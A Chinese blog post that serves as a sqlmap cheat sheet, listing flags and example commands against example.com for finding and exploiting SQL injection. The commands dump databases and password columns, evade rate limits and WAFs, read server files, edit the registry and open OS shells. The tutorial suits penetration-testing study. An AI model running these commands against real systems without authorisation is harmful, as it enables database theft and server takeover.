美文网首页
sqlmap使用

sqlmap使用

作者: theLexical | 来源:发表于2019-03-30 17:09 被阅读0次

sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。

SQLMAP使用

基本参数

is-dba          当前用户权限
dbs             所有数据库
current-db      当前数据库
users               所有用户
current-user        当前用户
--tables            
--columns
--dump
--dump-all
--level
--passwords         枚举所有用户密码
--roles             列出数据库dbajuese
--privileges        列出数据库dba权限

-D
-T
-C
--dbms=mysql oracle mssql   指定数据库
--schema --batch --exclude-sysdbs  查看数据库的架构 (比较大的一个命令)
  • 使用示例:
sqlmap -u http://example.com?id=1
# 显示灰色的,可能存在注入
# 注入级别

# 判断是不是dba权限
sqlmap -u http://example.com?id=1 --is-dba

# 列所有的数据库
sqlmap -u http://example.com?id=1 --dbs   # 一般能列的话,就是管理员了

# 看当前用户
sqlmap -u http://example.com?id=1 --current-user

# 查看当前数据库
sqlmap -u http://example.com?id=1 --current-db   # 假设结果为test

# 查看test数据库的表
sqlmap -u http://example.com?id=1 --tables -D sc

# 查看test数据库中sc表的列
sqlmap -u http://example.com?id=1 --columns -T sc -D test

# 把sc表中的数据转储
sqlmap -u http://example.com?id=1 --dump -T sc -D test
# 或者只转储某几列
sqlmap -u http://example.com?id=1 --dump -C user,passwd -T sc -D test

# access,mysql<5.0,直接爆表就可以
  • 参数使用
# 查看有哪些用户       (mysql可以根据ip地址设立独立的密码)
sqlmap -u http://example.com?id=1 --users

# 查看用户密码
sqlmap -u http://example.com?id=1 --passwords
  • 探测等级

    共有五个等级;级别高,会调用更多的payloads;级别2可以探测cookie;

    显示调试信息,有7个级别

    sqlmap -u http://example.com?id=1 --users -v 3 # 显示用到的payload

  • 风险等级

    --risk,默认为1;

    level 3 --risk 3

  • 获取目标

    -u        url?id=1
    -m        文本          扫描多个目标
    -r    请求包         使用bp抓包,保存为文本;   
    -g    google      sqlmap -g "inurl:\".php?id=1\""
    
    --data  post要提交的数据,通过它提交
      sqlmap -u http://example.com --data="id=1"
    --param-del   参数拆分字符
      sqlmap -u http://example.com --data="user=1;passwd=1" --param-del=";"
    --cookie  cookie注入
      sqlmap -u http://example.com/index.php --cookie "id=9" --table --level 2
      
    --referer, --headers, --proxy
      --referer:   把发的包设为后面的地址
          sqlmap -u http://example.com/index.php?id=1 --referer "http://baidu.com"
      --header/-H
          sqlmap -u http://example.com/index.php?id=1 --headers "client-ip:
          127.0.0.1"
      --proxy     加代理,比如设置bp为代理;数据包先发给代理,代理再发出去
          sqlmap -u http://example.com/index.php?id=1 --dbs --proxy 
          "http:127.0.0.1:8080"
    
  • 时间控制

    --delay           # 是定请求间的延迟,默认无延迟; 一般设为0.5s e.g.--delay=0.5
    --timeout     # 设定请求多久之后为超时
    --retries     # 超时后,重新尝试连接的次数,默认为3
    
  • 多次错误触发屏蔽的绕过

    # 有的web程序,当你多次访问错误时,会屏蔽你之后的请求;
    # 如果使用sqlmap进行探测或注入时触发这个策略,之后的就无法进行
    
    # 绕过策略方法
    --safe-url
    --safe-freq       # 更常用一些
    
  • 指定注入点

    # 有多个参数,如果已经知道某个参数有注入,可以使用-p指定这个参数
    sqlmap -u http://example.com?index.asp?id=1&sid=12 -p "sid=12"
    
  • 添加字符闭合

    # 例如对于 "select * from flag where id='$id'",需要对'进行闭合
    # 可以使用--prefix,--suffix选项
    sqlmap -u http://example.com?index.asp?id=1 --prefix "'" --suffix "or '1"
    
  • 选择探测方法

    # sqlmap有很多探测方式,默认是探测所有的,可使用--technique来选择指定的
    B: Boolean-based blind sql injection  布尔盲注
    E: Error-based sql injection          报错注入
    U: union query sql injection          联合查询注入
    S: Stacked queries sql injection      多语句查询注入
    T: Time-based blind sql injection     时间延迟注入
    
    sqlmap -u http://example.com?index.asp?id=1 --technique=BEU
    
  • 判断列数

    --union-cols=50       探测50列
    --union-char=1        填充列的字符,比如50个1;默认是NULL
    
  • 二阶注入

    --seconde-order
    sqlmap -u http://example.com?index.asp --second-order http://example.com?index1.asp
    
--dump-all      # 脱库,获取所有数据库表的内容
--exclude-sysdbs    # 只获取用户数据库的表

--search,-C,-T,-D   # 搜索特定的表名/列名/db名

--udf-inject, --shared-lib  # udf-用户自定义函数

-s  # 保存http日志;生成SQLlite文件
-t  # 保存
sqlmap -u http://example.com?index.asp?id=1 --flush-session -t c:/1.txt

--batch # 默认,不需用户交互
--charset=utf-8 # 指定编码,不用的话会自动识别
--hex       # 十六进制显示

--flush-session # 清除缓存文件

--output-dir    # 指定保存路径

--smart     # 进行聪明的探测,更快一点
--mobile    # 有时服务器只接受移动端访问,假装自己是手机

# 探测waf(了解即可)
--identify-waf  # 识别用了什么waf,方便绕过
--check-waf     # 探测是不是有waf
  • 注册表操作

    # 注册表尽量不要乱碰
    --reg-add --reg-key="xxxxx"
    
  • 暴力破解表名

    # /sqlmap/txt,里面存有一些字典;也可以自己添加;
    --common-tables -D tables
    
  • post注入

    sqlmap -u http://example.com?index.asp -p id
    sqlmap -u http://example.com?index.asp --forms
    sqlmap -u http://example.com?index.asp --data "id=1"
    
  • 搜索框注入

    sqlmap -r search-test.txt
    
  • 伪静态注入

    # 一般用*指定注入点
    sqlmap -u http://example.com?index.asp/view/id/40*.html
    
  • 延迟注入(重要)

    --time-sec
    sqlmap -u http://example.com?index.asp?id=1 --time-sec=5
    
  • base64编码注入

    sqlmap -u http://example.com?index.asp?id=1 --tamper base64encode.py -dbs
    
  • 执行sql语句

    --sql-query="select @@version;"
    --sql-shell       # 进入shell,交互式执行; only select
    
  • 文件读写

    # 从dbserver读取文件;一般root才有这个权限
    sqlmap -u http://example.com?index.asp?id=1 --file-read="c:\php\1.php"
    
    # 文件上传 --file-write(本地文件),--file-dest(目标绝对路径)
    
  • 命令执行

    --os-cmd, --os-shell

bp、sqlmap、awvs、nmap、msf、hydra

相关文章

  • sqlmap使用操作

    安装好sqlmap后,可以用cmd使用sqlmap D: cd sqlmap/sqlmap python sqlm...

  • SQL注入 注入工具sqlmap

    使用 下载sqlmap后,通过命令行cd到sqlmap地址下,打开sqlmap.py(python版本要在2.7以...

  • sqlmap从入门到精通-第七章-7-1 绕过WAF脚本-apo

    7.7 sqlmap使用tamper绕过WAF 7.7.1 tamper简介 1. tamper简介 sqlmap...

  • sqlmap Detection

    --level 共有五个等级,默认为1,sqlmap使用的payload可以在/usr/share/sqlmap/...

  • sqlmap使用

    post 注入: 抓包注入: cookie注入: cookie注入原理: 有些程序员 较懒,直接这么写: 这时候P...

  • sqlmap使用

    sqlmap跑post方式的注入时,若后台对token进行验证并且token值变化,则使用简单的sqlmap -u...

  • sqlmap使用

    常用语句 简单的注入流程 python sqlmap/sqlmap.py -help 注入点:http://tes...

  • sqlmap使用

    1. sqlmap简介 SQLmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Pyt...

  • sqlmap使用

    sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具...

  • sqlmap使用

    环境准备: 假设存在sql注入的url是 一、基于mysql注入 a、sqlmap注入爆数据库 如下图显示,即爆出...

网友评论

      本文标题:sqlmap使用

      本文链接:https://www.haomeiwen.com/subject/wrdsbqtx.html